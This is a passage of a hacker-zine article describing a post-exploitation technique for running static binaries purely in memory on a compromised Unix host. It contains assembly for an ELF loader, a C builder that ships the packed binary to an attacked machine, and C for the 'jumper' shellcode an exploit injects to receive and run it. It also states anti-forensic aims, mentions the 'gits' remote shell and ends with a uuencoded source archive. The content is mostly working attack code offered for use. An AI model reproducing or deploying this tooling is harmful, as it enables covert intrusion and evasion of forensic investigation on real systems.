        "push %0\n"
        "jmp *%1"
        :
        : "c"(lxobject),"b"(*loader)
        );
```

* loading step 1: scans the program header table and begins to load each
  PT_LOAD segment. The stack context has its own header, PT_STACK, so when
  this kind of segment is found it will be treated differently from the
  rest (step 2)

```
.loader_next_phdr:
     // Check program header type (eax): PT_LOAD or PT_STACK
     movl    (%edx),%eax

     // If program header type is PT_LOAD, jump to .loader_phdr_load
     // and load the segment referenced by this header
     cmpl    $PT_LOAD,%eax
     je      .loader_phdr_load

     // If program header type is PT_STACK, jump to .loader_phdr_stack
     // and load the new stack segment
     cmpl    $PT_STACK,%eax
     je      .loader_phdr_stack

     // If unknown type, jump to next header
     addl    $PHENTSIZE,%edx
     jmp     .loader_next_phdr
```

For each PT_LOAD segment (text/data) do the following:

* loading step 1.1: unmap the old segment, one page a time, to be sure that
  there is enough room to fit the new one:

```
     movl    PHDR_VADDR(%edx),%edi
     movl    PHDR_MEMSZ(%edx),%esi
     subl    $PG_SIZE,%esi
     movl    $0,%ecx
.loader_unmap_page:
     pushl   $PG_SIZE
     movl    %edi,%ebx
     andl    $0xfffff000,%ebx
     addl    %ecx,%ebx
     pushl   %ebx
     pushl   $2
     movl    $SYS_munmap,%eax
     call    do_syscall
     addl    $12,%esp
     addl    $PG_SIZE,%ecx
     cmpl    %ecx,%esi
     jge     .loader_unmap_page
```

* loading step 1.2: map the new memory region.

```
     pushl   $0
     pushl   $0
     pushl   $-1
     pushl   $MAPS
     pushl   $7
     movl    PHDR_MEMSZ(%edx),%esi
     pushl   %esi
     movl    %edi,%esi
     andl    $0xffff000,%esi
     pushl   %esi
     pushl   $6
     movl    $SYS_mmap,%eax
```

```
        call    do_syscall
        addl    $32,%esp
```

  * loading step 1.3: copy the segment from the lxobject to that place:

```
        movl    PHDR_FILESZ(%edx),%ecx
        movl    PHDR_OFFSET(%edx),%esi
        addl    %ebp,%esi
        repz    movsb
```

  * loading step 1.4: continue with next header:

```
        addl    $PHENTSIZE,%edx
        jmp     .loader_next_phdr
```

 * loading step 2: when both text and data segments have been loaded correctly, it's time to setup a new stack:

```
   .loader_phdr_stack:
        movl    PHDR_OFFSET(%edx),%esi
        addl    %ebp,%esi
        movl    PHDR_VADDR(%edx),%edi
        movl    PHDR_MEMSZ(%edx),%ecx
        repz    movsb
```

 * loading step 3: to finish, some registers are cleaned and then the loader jump to the binary's entry point or _init().

```
   .loader_entry_point:
        movl    PHDR_ALIGN(%edx),%esp
        movl    EHDR_ENTRY(%ebp),%eax
        xorl    %ebx,%ebx
        xorl    %ecx,%ecx
        xorl    %edx,%edx
        xorl    %esi,%esi
        xorl    %edi,%edi
        jmp     *%eax
```

 * post-loading: the execution has begun.

As can be seen, the loader doesn't undergo any process to build the stack context, it is constructed in the builder. This way, a pre-designed context is available and should simply be copied to the right address space inside the process.

Despite the fact of codifying a different loader to each architecture the operations are plain and concrete. Whether possible, hybrid loaders capable of functioning in the same architectures but with the different syscalls methods of the UNIX systems should be designed. The loader we have developed for our implementation is an hybrid code capable of working under Linux and BSD systems on x86/32bit machines.

---[4.2 - The builder

It has the mission of assembling the components of a lxobject and then sending it to a remote machine. It works with a simple command line design and its format is as follows:

```
 ./builder <host> <port> <exec> <argv> <envp>
```

where:

  host, port = the attached machine address and the port where the jumper is running and waiting

  exec = the executable binary file we want to execute

  argv, envp = string of arguments and string of environment variables, needed by the executable binary

For instance, if we want to do some port scanning from the attacked host, we will execute an nmap binary as follows:

```
./builder 172.26.0.1 2002 nmap-static "-P0;-p;23;172.26.1-30" "PATH=/bin"
```

Basically, the assembly operations performed are the following:

* allocate enough memory to store the executable binary file, the shellcode loader and the stack's init context.

```
elf_new = (void*)malloc(elf_new_size);
```

* insert the executable into the memory area previously allocated and then clean the fields which describe the section header table because they won't be useful for us as we will work with an static file. Also, the section header table could be removed anyway.

```
ehdr_new->e_shentsize = 0;
ehdr_new->e_shoff = 0;
ehdr_new->e_shnum = 0;
ehdr_new->e_shstrndx = 0;
```

* build the stack context. It requires two strings, the first one contains the arguments and the second one the environment variables. Each item is separated by using a delimiter. For instance:

```
<argv> =  "arg1;arg2;arg3;-h"
<envp> =  "PATH=/bin;SHELL=sh"
```

  Once the context has been built, a new program header is added to the binary's program header table. This is a PT_STACK header and contains all the information which is needed by the shellcode loader in order to setup the new stack.

* the shellcode ELF loader is introduced and its offset is saved within the e_ident field in the elf header.

```
memcpy(elf_new + elf_new_size - PG_SIZE + LOADER_CODESZ, loader, LOADER_CODESZ);
ldr_ptr = (unsigned long *)&ehdr_new->e_ident[9];
*ldr_ptr = elf_new_size - PG_SIZE + LOADER_CODESZ;
```

* the lxobject is ready, now it's sent to specified the host and port.

```
connect(sfd, (struct sockaddr *)&srv, sizeof(struct sockaddr)
write(sfd, elf_new, elf_new_size);
```

An lxobject finished and assembled correctly, ready to be sent, looks like this:

```
        [ Autoloadable and Autoexecutable Object ]
    .------------------------------------------------
    |
    |       [ Static Executable File (1) ]
    |    .--------------------------------.
    |    |                                |
    |    |    .----------------------.    |
    |    |    | ELF Header )---------|----|--.
    |    |    |----------------------|    |  | Shellcode Elf loader (3)
    |    |    | Program Header Table |    |  | hdr->e_ident[9]
    |    |    |                      |    |  |
    |    |    | + PT_LOAD0           |    |  |
    |    |    | + PT_LOAD1           |    |  |
    |    |    |     ...              |    |  |
    |    |    |     ...              |    |  |
    |    |    | + PT_STACK )---------|----|--|--.
    |    |    |                      |    |  |  | Stack Context (2)
    |    |    |----------------------|    |  |  |
    |    |    | Sections (code/data) |    |  |  |
    |    '--> |----------------------|  <--'  |  |
    |    .--> |######################|  <-----'  |
```

```
    |    |    |## SHELLCODE LOADER ##|          |
    |  P |    |######################|          |
    |  A |    |                      |          |
    |  G |    |       .......        |          |
    |  E |    |       .......        |          |
    |    |    |                      |          |
    |    |    |######################| <--------'
    |    |    |#### STACK CONTEXT ###|
    |    |    |######################|
    |    '--> '----------------------'
    |
    '-----------------
```

---[4.3 - The jumper

It is the shellcode which have to be used by an exploit during the exploitation process of a vulnerable service. Its focus is to activate the incoming lxobject and in order to achieve it, at least the following operations should be done:

- open a socket and wait for the lxobject to arrive
- store it anywhere in the memory
- activate it by jumping into the loader

Those are the minimal required actions but it is important to keep in mind that a jumper is a simple shellcode so any other functionality can be added previously: break a chroot, elevate privileges, and so on.

1) how to get the lxobject?

It is easily achieved, already known techniques, as binding to a port and waiting for new connections or searching in the process' FD table those that belong to socket, can be applied. Additionally, cipher algorithms can be added but this would lead to huge shellcodes, difficult to use.

2) and where to store it?

There are three possibilities:

a) store it in the heap. We just have to find the current location of the program break by using brk(0). However, this method is dangerous and unsuitable because the lxobject could be unmapped or even entirely overwritten during the loading process.

b) store it in the process stack. Provided there is enough space and we know where the stack starts and finishes, this method can be used but it can also be that the stack isn't be executable and then it can't be applied.

c) store it in a new mapped memory region by using mmap() syscall. This is the better way and the one we have used in our code.

Due to the nature of a jumper its codification can be personalized and adapted to many different contexts. An example of a generic jumper written in C is as it follows:

```
    lxobject = (unsigned char*)mmap(0, LXOBJECT_SIZE,
         PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, -1, 0);

    addr.sin_family = AF_INET;
    addr.sin_port = htons(atoi(argv[1]));
    addr.sin_addr.s_addr = 0;

    sfd = socket(AF_INET, SOCK_STREAM, 0));
    bind(sfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
    listen(sfd, 10);
    nsfd = accept(sfd, NULL, NULL));

    for (i = 0 ; i < 255 ; i++) {
        if (recv(i, tmp, 4, MSG_PEEK) == 4) {
                if (!strncmp(&tmp[1], "ELF", 3)) break;
        }
```

```
    }

    recv(i, lxobject, MAX_OBJECT_SIZE, MSG_WAITALL);

    loader = (unsigned long *)&lxobject[9];
    *loader += (unsigned long)lxobject;

    __asm__(
           "push %0\n"
           "jmp *%1"
           :
           : "c"(lxobject),"b"(*loader)
           );
```

---[5 - Multiexecution

The code included in this article is just a generic implementation of a shellcode ELF loader which allows the execution of a binary once at time. If we want to execute that binary an undefined number of times (to parse more arguments, test new features, etc) it will be needed to build and send a new lxobject for each try. Although it obviously has some disadvantages, it's enough for most situations. But what happens if what we really wish is to execute our binary a lot of times but from the other side, that is, from the remote machine, without building the lxobject?

To face this issue we have developed another technique called "multi-execution". The multi-execution is a much more advanced derived implementation. Its main feature is that the process of building a lxobject is always done in the remote machine, one binary allowing infinite executions. Something like working with a remote shell. One example of tool that uses a multi-execution environment is the gits project or "ghost in the system".

--[5.1 - Gits

Gits is a multi-execution environment designed to operate on attacked remote machines and to limit the amount of forensic evidence. It should be viewed as a proof of concept, an advanced extension with many features. It comprises a launcher program and a shell, which is the main part. The shell gives you the possibility of retrieving as many binaries as desired and execute them as many times as wished (a process of stack context rebuilding and binary patching is done using some advanced techniques). Also, built-in commands, job control, flow redirection, remote file manipulation, and so on have been added.

---[6 - Conclusions

The forensic techniques are more sophisticated and complete every day, where there was no trace left, now there's a fingerprint; where there was only one evidence left, now there are hundreds. A never-ending battle between those who wouldn't be detected and those who want to detect. To use the memory and leave the disk untouched is a good policy to avoid the detection. The shellcode ELF loader develops this post-exploitation plainly and elegantly.

---[7 - Greetings

7a69ezine crew & redbull.

---[8 - References

[1] The Design and Implementation of ul_exec - the grugq
    http://securityfocus.com/archive/1/348638/2003-12-29/2004-01-04/0

[2] Remote Exec - the grugq
    http://www.phrack.org/show.php?p=62&a=8

[3] Ghost In The System Project
    http://www.7a69ezine.org/project/gits

---[A - Tested systems

The next table summarize the systems where we have tested all this fucking shit.

```
                          /----------v----------\
                          |   x86    |  amd64   |
              /-----------+----------+----------<
              | Linux 2.4 |  works   |  works   |
              >-----------+----------+----------<
              | Linux 2.6 |  works   |  works   |
              >-----------+----------+----------<
              | FreeBSD   |  works   | untested |
              >-----------+----------+----------<
              | NetBSD    |  works   | untested |
              \-----------^----------^----------/
```

---[B - Sourcecode

begin 644 self.tgz

```
M'XL(`%)VS$(``^U]:W<;-[+@?&7_"HS&CDDB9I/B:%F*DU5LV=8;Z9I)MB$R=*KNE/[U8H;T3
MB0]]/DVQ2;9/=3'=3CXSSD_8WW'/N+]MZ`8U^4`^_9G:O.B<6V0`*A4*A4%4IH
M%&-O.E[_R]=]6O`\W-RDO_#D_]+G=JO3ZVVQN;/:ZG;^TVJW-=N<O:O,KXT7/
M(D[<2*F_1&&87%7ONO+_1Y\8YW\4#K\F#]QT_KNMA]TVOF^W.QMW\_]-'C/_
M^*'O!<WDXHL/$R>XM[&Q9/XW.P\W'^;FO[O1[?U%M;XT(F7/__#Y=U3QV0T2
M?QQ&7A#[0^6=A=-%XH?!!CH&%BFK;S^#RZMJ'$T78_6=>NW/O:75L_/FP_=
MWB/O#S_PFF$T<1S55@VU'R11.%H,$1=>=>#-F]B+XFXP4H7WWO`,(';AY?&I
M-YT.PY&G]EX^4]/0'FS8:Y6D^J%6D4[V=+V\Y2G;6B7ZL>DE4P7)%S/3U
MBW#PSALFC"U&7#ES,.+_@7.\/'+@8=B7%=\:15B\$S3CAES4+O)-V@N\M=\A\@#E
M4-W@W>'.(UVU0,?-PS6SYK2UF%U.G5D"V$-8D=5N_BXBWUP%ZYGX*MOX!+<P\H
M,K"<H_+'7&W*5MG5@A)=+$(HE0_MIQ^QS*U[+%I$VQF:S$UD3@&G#K0EA$-P
M)7XPN$'^(S?$9B?7!\WVCKMW,$UK[0S8_=')*#`)!P&AUK6"2X5BSGPYV*8#U*4
MMQ,9#!IG:MX!Z!SGMQ2VI7J#6$NQ"C5R7%7;S:>(W?&D62%,.S3$22H,:3P^R[+
M"BI[,(C,,5$IH5DA!EO9_I-R[1!S']&:V.UT7?:4N#'B(HE29.M_9/<@)%"U&Z0(B
M>=ZUK6P_`*&JJEIL]^#,VC3W]$^-R,M,B&FN)IC+C9%F/`6:WR&!O>OF>;?/+<%EAJ
MH@3W_WV$@CZB*2'$PH#R\)M;S2OPEYXK&DPBV`.;.Q#PSPBZ$A>@Y%R"C_4/B;6QU
MF-']&+K=[>;:O/H&-R`@.3O0$D9M8S,DH(+(H^FUF?,;]0#\E)L[4"!3H0&O8J[GH
M=&T9EDU33)70HO.=/6VR`/PKH6&>K'MUX!CP(*XPA^F$)5_#GH:=PG:0ZW=Y_=3S
MMT4SEBC!\:FH`/`ZT55]1NA,A@JHNWCN*CH#?A_;GV#F<>N'-W"A6HVE(?H4#+
M9CPD_AQM9_.OP:QH[AF=7R-;UBBNA"4L4_R<'!!#7<(Y@!^@]M)'QFX2-<G/BF
M.4]HG.N%"^1GM&62Q3E*KM'%.>S8JKR.WTBBO1G*HBDA+;+%^G'[MB'FQB1]4M
MR;%$MRGIZE33^?;2NL:C.I4-'8HD=[;8I"RTE`7H*+VH(J&+"Y'&JX!G.G1OM
MYJ'+D0.^(;A\<P-%/L-<^&;N4.NV8^N&QX#Q:O%8<JU6O.J5UT/,:@I;XW=E8$
```

MX!QM)D_X#MB-=*X9*LZ@'#C`_K#L7N!KK:NC<02K1E3M2^R1-W8R&:$!;\QM
M@!"A253/^BUHSLX64T":YE#<&]AHG[<$TU*=>RP$7$/#MWJ?+$)0OZ#F"&(A
MP/W<T;VR>O=^X0\O#9.`YG/.NC+)=.!B`J1;@(6(G`\+S;U$$>^`[J[E?BVS
MF'Y&RAD-KFZ5(<6U:L6T]58CM-%1H[O4'!*`T<!C9?NX`Q4-T3(&'Z_";0<@
MT&P`>)ZMI;M2`HL:AQ`E.RJS7T)3+38=(Q[,TD53$80R;"5#T@IA"05U)%>,
MXLQ/-.HR3-9I'</-W,(2D\MW\=3^LH6+H^>:9U-\&P-8.U/OKW_56U71=>C\
MK`T<)`;W["8_JMW,T&!K0J\[(D133@MQD8264'%2*>HFLK?'+NP5T%8`B6`#
M.Q>T/C_F5<6^L<2#MY%'GAE2OHW<RLHIL]2@`Y0C9%I<JJ)BP]+2C=#F<UAA
M1CL43>^<%;P'=,L,%B59HKU#EE>%R.LPE^>W"L:(YCKK=QNE:I7A.W&:@OWO
M^>@?L<5:S'+M!"NC'",Q)%8-DLJ-F&RXC<:Q&:GNG*2LJX2.A(D#JC&JXV0^
MUP&.QI\68(Q[/NP7K-Q;NX1LFKH731='Y#@Z!]PX]F8#E*^X7.+M=!IBXX.N
MLWRVUH;8_HX8_SQZ:RWR.FRF++O$J\W.EM3ZIDV)5WUN2T]9@VBEI31UQ%Y;
M(W+L[1IM/E2L5V/VB+A:6.=\+749+G(V:IYSVG)0(24^B&#ZT7>)3BK2^%EA
MA9[$>9BP-F$;E3BXO/%$#@NM_.,X1Y>!.\-S#X-.;(QJ!!HN8$-V1R-'W,^H
MK&E_I3:N4S<H4@,Y`^>@CGX"V!L`)JQ*US<L[Z!?&_L&K9S-<2^*PBBV9ZMX
MR)#.5(R,,"J;JIVB6XAG2]-&L`4#.9U36+QG7I1N4&B_H8T>Q^'0)]D@/K#8
MFY"=+=X\[H86)'L?1(N,R>;Q2$*PEG+F1CY1MJF>+B*S\IFC2#Y+W\1JCO;/
M`<XQ[Z#B%S-VJG&<LSR:JI&;N*S%)<(U>%R"1Q/LA;9%U<_B[8;97=7M,R1#
M_0D9"V<%#5+3R?>,Q+8GG(SA/Q2=;+S@0SICL`<X>TJ*^99`DX\5"]D):&I
MKZ4?G8WP7F*DAC'K<*;]\(PH"U!U-L/`:C[WFCBR>;H`*5F+DL/7!PC7AI$
M3>%H<;&R<Q5@LEP^<\F/_AXVF`2U,.?-P?Y;693DCYN&X0?V>(%R)6=_S4;N
M:3KX[@?U$0K!)IFP&P>>CYD30H>_?WR<>S[J`C[%C"9#:9!IWL"2!6OUU6`Q
M&X"2K!OF$2KO5X,_^_6=@$?<R\"?`:7":\!GL=X+SN8VV(\"NH$EQK-E%M`-
MNTAID'8&F],9\'E$GBYX\7VCL2KUKB7'1SW0,]:D`&EFDJH`K*7]4&&V'WQ6
MKYK&5:A0Q@6"QP_PY<U\+EH"&`+X2=>,A;M6\]BOH@(`?"YZ8&85UME>AS6Q
M&(J.G!X5PB8!Y@SO3"!)%GB:"19OJD*$`U3[H5T`:V9Q`9+!C11/3.K]@L5D
^6<1`[*L:;DZLK7;FP[M3''F<`D:X-'#`/U(4S]`)R6@,HU#DI.DB,,6Y*"+
!71>(+E8\=2`MDVTFA!/8GO:*PRSRD0:'G,,DY'*#M0X-=Z0(7EX^(16I`)+
2A#-Z$I`'R(Z&5`.HI^#;4JK8D$CU/:J%FUU:Y]:Q`N2KJC;IPX<8_H:G1"L
[!U+I)D#W5%$=M8<M3>C(-#&RSR`7@P^O-3;HA:0HJ[Y;`_S=J@U0]349T9#
&86!^''%!TQ>_MCCANBT!QK\'[V;9_V<+XV/,^5.H%W$?$B^<>-1`K43=Q\8
/VJ'V=U>U"K7R1T8DFJ&6ONE=G3F]JBB.:1U3H=W#MYCT%%$YV_L%Z99GN/B
&R^F)=[YG#>UJ@^9\IVS;4@:`UGU6$8G9&+/:5L&-MH%'8)#=X"&4[W8ZJEN
9P`[>PTM]C7<9QL"?9OUUXP53'08A7P<CB?!XH#4IRC!)7,L"A!O&K/_=^(E
C)P^^!-V2@T/8^68I:Y=)U.*$B'MA^=ROH"IX?.I0)_D(PL2F@$Y=/Q@E-JI
['OG?1X@X3B(*F#-*)N4W/-D$31I;^WWW7C6[U?M&)L5[%O=;_T6K&1>OY_-
U=K]=N;E=N:+6AFN5/4@:_65P4IUC9&KV?5J.S0'&B7R&K6W50RR@@>DCXE/
/7$):)L7,$?GFSY#]$`"(."CD_[+P]VG6LV40^Z,[G3JLN&)3DL&6\=FQR>[
3_Y>)*D)7/UH%_M>M/ZZWI.7FJ$"?H</5&J:,8."UUL@$D%*RXS<'H.C6B
=I.)T4?_27]^.HI2\JVOJR>G'B"<'_OEW%-5S[VH;9MAPEZA43?M9^'9%/]6
[WNCBUK]/K1P;.#[XU+(,#"!6B>>0=)J+!'!/CN24CB\C7+<@B%/I`.'1GP\
Z,?2B6DYA(6)?^_IW@A!7?K>X[_%GF\\!)G(TC$0)RP=!'I=F5=D.*5(,_SK
L>:^<F@O`MIK"-\41_*BY>@$,D.Z?+%W<'*\_Y][=9S0M$]H:O=I.(F[?(:G
,.A/R:T(5<5%L(Z*5PWE6D:$HD0L+,<F+,A%,'/G?&H['6E0=3H;F+OHK]#A
62'',$@4"&&BM0Q0%,+%Y%1%(:Z,$*168J@.@+:=`@<?O7CZNO^/W:=/7QM>
'OGEM5[MO3K^3U,K3FN!^29D?-X7(L9%&/=:\'[(Q-4$I3'W<7CIVD1Y.+6@
%0`AA@!JD,X3<)AT<3'&I]5JY2K(1","V1+=6^G+>YWB*(Y_.>[/".\L?Y*I
"L\H[$M019'-VATDS;R$_PSAAA>%!2%(6R1]/^'%4"1C*7-UMI5F+60$V3`C
D.ZA;$S94;=N]*K1+KY[M7MT7'S[\);\E,Y)"1O)[%LEN=GGR;\.G$&NMV2*
/VF"NV:"R^:ANPT;Y/PR(\S-'F:T%1U50*KOLA7[;/_EGD4\BVLRU0Z?/3O>
.RFC<;HB!O-L2>3-_Q!`\:"4GS:V::/W@P4?G]NRU4+X<Z1KKD_@8#I_&H3H
0]%^5+)LA9"Q=1(LKDZ.493`,W39H%O.GY&G./:2Q5P.`6D3V<ZH#.GFLOWE
"/O9(M>:Y?PDY>@%G$;2/_#CTSKKU;C<H2SBZ)GAU',#47Y)Q;4T6ZW1:M^^
"7^S`]5@Z^NC4XZL!XMR5*=/=9:0;O?E_O.#E'+S0JT]K`4<_J7*A*QEEV&
%V&DZ9L3Y6D)R<MA6<GH(LN#:4F<DRI6&S\[0YIOUT3M6^.H#6/@\&F#-MIL
$V`W-B&('AZ86437YBD=NTY"-'I20RRTSIM9Y3'N$3]_&*<-=SFO$4OYG,ZF
T'#BB`=O9%G\3NI'(;?I*?G2R9B\9$-O[K.C@PZL_<EI4K#>*90LT8&<,?K(
GWH<P$WJ#Y[)\`DZQ],`,JG+0!]&AJQ.90X1Z'@LM0DI]&M*X9`4:H[.CL2C
0U:*@]"N^KHZO1Q$_DA@(^'G<G(W-BXDBO<)TE@KNV,KX(I<K099$?ZQ<F;0
93@R<<,9UZH0<:!#3/29IPQ5'UI+0)@W0@\ON9!S]CH?1\I8R.;4`X%>)2".
F4:]!(%\P1$,/QT_-9@`$##(U\D@UUX<ZP@C?^$!SV*09\FTQN,P<3RP'UN?
":#M#PHERMV,JR,5*$[L!2,)J*(3O&R@`]GPB'^<#6JC4R>R&-"/+N$Y?*2)
\:#L!B>_NHXU0,G=7-?'D]_C.=8/ZGOTQL`?7(?P!WVJ^"TXF__@..0B((&/
E3F^1SU.?5:GUCFFYG-]!$YU\X>;N(9`)B\"B7P:P7KS*0H=7B,*`MTZ2I-#
`#J]/3<!"?I,#-LASG7VTCX6/VW1,9B^]\K<T'44YN8LJ1P'QT$[!E9PXH)-
29<`+(2T6X;&C3X#&F+1Q\>4//<X\-8$E@6*K!H9[;)):S_L-#N]9JO95IU6
JT-M&N)Z76D<M78:\YU.=T>JM1O=UHI:.=H]>?$88VA7'.<G'83.,E68]=)V
)F&*'`/[GDR=QF3;(U\L'C$KFTH49-164ATB$WY!.:O.>!.(>M<LPU)[=68
SL'20'#94O"&'RHBCU45?<MKM1GA4I7W?73=BA<'ILF+DCPNQFFE?6&1YUK.
+C.T=+\GW0AU`#E2]J:C6!RP'#TT\/01)N]BMF_(\I5?TF#/0P[K0]<B^AS9

```
M&X_3?2Z7/E*7.@97\,RR"].XR0E2:7]#+4I1A)S1*"YA0TOIA]H:$*KQ@]>'
M68"U@;[NQZJU4UHA'(^7%P:+V?)"6&W!Z(++<39RN[*96)1MZ<V<\U`?L]2M
M`WRTZW5\F[YEDEW;UA$R5J8Y+UOD$M3ATSE[S%2<NY&.%I%`)9C7J3^#2J`2
MV`O>*.PB)!\KM0*?VCOP3P?_Z>XT3K47DB4HU3'+;^?XQ=[+EX]CJ(2U#H-A
MYN@A];[2N4)=E.Z<;PDE^FADE`P$9-3.,O^D?0"@_46Z@B@&)G)04]</>/N@
M`VI]DRDK'/-Q&72N&XEN0C9#>J](#(<F<<+2`"N?[HC0%3Y9?N07'8\!&L6Q
MN&=R-BQQ^,AT?9_"0FE9:@4%8ZEY@(;O8;4/YY=:3*@'RA88L*V+5P$*T#NU
M][K_Y/`I6(UUP:V>?5W3/#\%EI\G$8JC12#*XC0$'EJK?6>O!T+RUT?O=+NU
MM.'-$-DQI+,#DBCV#6,RSMEDTV%&<FE$PGCIB@*Y[CDDGU&`:0\`3#4>C^IT
MYKG`0*QP^`&W<<0_CF!/1:S"<;Y8.\W/(U@D#$&&45=Y2;P;I"BSE263FQ[W
M6Y:GB>8;<(!<W3IUYT!,RVK^5>TNDC`3>[:;C3T[Y'[?L2<M?YIZW4.M/O*_
MIDL=;Y1V\@P5DVJ[)MU\O%%?S;1N]H2^Y/F8J[L$>+.L[D=:82]XN==,W8_R
M3QZ-PGFY5)<*'^VK#;#*9.56N[5"MT<BBJ3K$R)5"@<6A[TP"LW+":&;%ZH_
MT([EUNVJMV]4G8C>;*K,\\6J/TC%<G&"RN;H&N+0--$F^T3VE6JG,#_7S7,)
MGL?Z)E\5YU]\]N4M5BD$9ED?'*:1;<%!,W\K?73`Q6H)5G_[FZ)-%<6DB$R%
M+5*RZ!9'ID5Y'\46N]?3.]?B>;9%DY^K6NS=NL4-N&!)BZNIBP0N:Z&8-9\<
M'ISLO3U1V.*&@'/\4(AFR73J2+W<8XSO7&(!M+UU%$QZ:9I4%;D#+4HVAP&;
MJ'(U2J/U,O>IM`=I23P]*JIHD@T7L;Y"JN\;L,($QCC"-?'3'%J<JD1H)'MX
MSP_UN@1O4\=)+F+`,L$LGX@<1C6P.#!W+8WI;.));:\XAC=C-HF&B5LD0X"/
MO@++_L$JUL4)I!42F+T]8BFE]]<H&$3L.QBM/Z,+/!*(YXITD%N&J,V90`^`
M],'SYG3Y&$^P^=:.:\7V&Z=&.ILQN_;X8J:=]>!2NP99#W92\VU;#4"#^(`1
MN73%'M41C\8V!X+`/CU!0Y^OURDZT8%M^Q1O`H<8)9&AXX]X@X+&`5/EHVG(
M,PC*CCME/44.3TVV!KJY"\HXWR!'3P[Y`BCT0=P<-%VH@HK^122#5[%''K74
RR;\N*J>/17;+B'Z\T'FP",U$W4]8H>Z(0E>2Z.K7:.1SP1#O6KHST\IPFR"
X8VG,^-==710UT)N=G!T\!3OR0+TT\7$FI*XGKWCR9>Y.C7KLHOQ`?A$0`I7
M5^9BE?@<?4Y=@6P-6XAA41DYJ.YS"FFEX&J]FC&JA(VE122>T&'FYC@)$&T`
M,1L8DVX0?:BV:DWU(CR'&8SJ/%1V2N(,C_!:5(0WA<@GB)!`G]?W6.R`-[/*
MC*5-)XISC-V*%``/T/</"X(#9Q08X1&JR0E>NTM%3RZ`"+7R09$2YGX-64^H
M4IUQT'?N#)L]RWPKAIB2NK;NLW`4`=Z7YQ&*(AYG"2$LP4*35S&\(ECZ=K.Y
M]:[#SL2;8>G<QJW)S;E<LR6,<Y@=)]NX0L+,>6LZ?7C"6*UI=W*3)\@.-1MX
M0.`(7??&'8!^`.TZIA%)W#'R,=[-?KHPF5`"NC;,DE]+I/S5:J$-E,4DA/X0
M*\:A&_ALC=/%T-3[+58]AEKB]N.2>.,K=A@,#4:$=*;YPP$4GXC'E@2[\?_!
M8QC/MC7Q?L9:C<C3`AOU[>%/_['WY(0/R(V9I(Y>'Y[T7^_M/OU(GWY^O7^R
MQQ_WWNX]J:M7NT?]H]?[_]B%U_AY]^#PH*X:[;IJD2]-T5%=U(2YZ(_=&<K"
MQVKW67__8.]D)ULL_N'3!,1:U4U"OXJNDE_;[VJU7$W^0'^TEP@>L"71A4LR
K2I=U-7QX9._@X8,0WB%.`DH%+3+S5?\N\Q^[?N!!C+%D[Z`P;1;\C)@-#!?
S5PLY(,W+U_ROS5-$Y3D51^15SO*5]^KSN8F?GKPH*;^::COCU45K-NSJ@^+
M;3:OJPT@^/'S_M'>WM]KZO%CM6'7MEO]%7UHP]F\^AVTHPO_*V#+K=15MU9C
M`;=CVOWI\+_T1W>7WG9YM?NV;_,&8?#S[O[)+HQ'AB.V7)DK0P,R'@P)GE,/
M\K5KYMH&`_U7A?'ICZP]EB2AHC!.3F.`J:?,?1=<?1$8^'RS2:[WZ/5:DK[!
M*75EL2)JW;LOC4P%&85B.Z&C]J:S/RXYWF")JP\%`CJ_&M,-]C0`&IN#589W
YMTH]BA<V3$.4F`[C/=#*:L3)(!:E(`8]@N7:,SQ*:E('EW`@H9.ZL'1<5P)
M7K+9G6)"@`E=50H'VH6.7LQB>@F.*G!DQQI3PH`8$]\D"]9YF^HG/$7$X9[B
M;H`I8\;\_=S3@;OGL&VQ_JVO9I%0U_0!^B<I14S2$MH/2(W$LU=S$[%.I731
M)WOB5C>I#H@:9M-.-<.3$,]I/688/XX77O&<4E]23Q5$?<UHA:ZX-PQ3K#0Y
M=4V&1>5._`*(3??LB91#NK.,ROTHQXULH%#V&T?F65_:S.@20!TS*#=[EY.S
M?%$8N$Z!E:<+EFEB:[/%#U"=2"PFA[D\#E&I((N(7'?Z_%5.,'4N-EP\F(+%
LS=(3+_"B%/J+S=/&,?V[8L&,,$=&\;XGB_VJ)4)N3WUD34=\*[H^'4K_9R#
M_VI29WJQ.S&1`)A<AZPT5##2(SVY:JN/C/7E(SI%X..*6;@(B#6MK(3H_&++
TK+WSGP/KS>XL4-A]WC-?TR']['5T9U9PP>@6R`D?8>,M`^]PCF'4SB;4W(M
M$%-3%V\_X*F_SG25WJZTLI6198<\A*'Y$JY,]W\G="'U,EQPY()1XR\YLUX2
M@6DDM[P)$9-6B>XJQKX.'T_%&J;^PL@`K,WK%0_!V#]<=6U^S09,1U[*OQAY
MS=SHS-U$["=A858=21`9DJ6F6DT?I]%1"^9DX\-T$`KOPP$%C40A4&:,>:(`
M>3]B8ZVN69>.HZ&%/\?$751B[$HKP,HA\TK'$&1S'<:2"$-SA)7V#RTF6O79
M-#!ISD!<;G3%<83A*N;&8N319;P@Y$1M8,>-$SX@H$*\6H'*/Q@[P!E!LI,:
M"=*2+M<!^1S-GGD0A-HI;$,1Y9;:A?WA#/5=FA"^5H[J^#EGRT&+]?PT=,BJ
M%%N^\QR:$U:IDAZC4S%=R]-&EYVP3-+0G7*B.=@/DW!!80BTAB=AB.<<4\Q.
D+D::Y(K,E.7;]LBNN6&9C'!#$732&8V;^I-7(RMUW.;S5OIF/R?F$'E7'V'
3#18@+23ZKF\E@ZF="+4EJ:,H0LITSX%2318Z&$R*-9U3I-DOKV^'L/JPON+
Y*AJ`JNLDUOAS%MOKW<WMGK=K?5.J]5MM#N-SB/\N-%HM1NMC?468M!Y!R@1
=^]=U0FF-YV?1FB3AM%D'607?I__.'_<ZWSG/MY"4-UWZCE)X/V`1G7,EYN/
6$(7P&6RI:Y/2#(3F0KI/IU"_E>3_U>VD&^?_[?5ZK0W,?_O9J_7:V](_E^H
?I?_]QL\SA[/.QG*50X92+QHAEDB\'K+WU1S72QM#)FA6A(LD%937`]U7CO*
IL-1-J1!IV?]*V")!6?MQV"@M7?@4P<_=59*N?/N^=H/K?\X^G?(_[[YL-?I
M#I=RO_^L'N7__U;/&;^)8O0\"OT<8W\[\"T:_G?;6VV8?X[#S=;=_+_6SSK
Q@;H_"?ZK!F)VA7ZRJ;AEUAU77G;^+S4=_'R<@/FZ<_9%]-_4'^'7KN<^\N
XW7)>YIY'Z`&Z"7K?E"LCR9&]JT710$AX*ROJ2>4GHT<X^/4R4]9I<71CT%"
>%H$AN44YAS'POZ@2L[%5ZEL,FLZ#MY!0)NNBA]@^QK6R6^LUM;0-UM3SC^=
"KU`-^/&NQVG@A7)ZQG0OSZ\ROD$)7X)"HJN5?+QVDVXM\%BO.,`[+%"G_`0
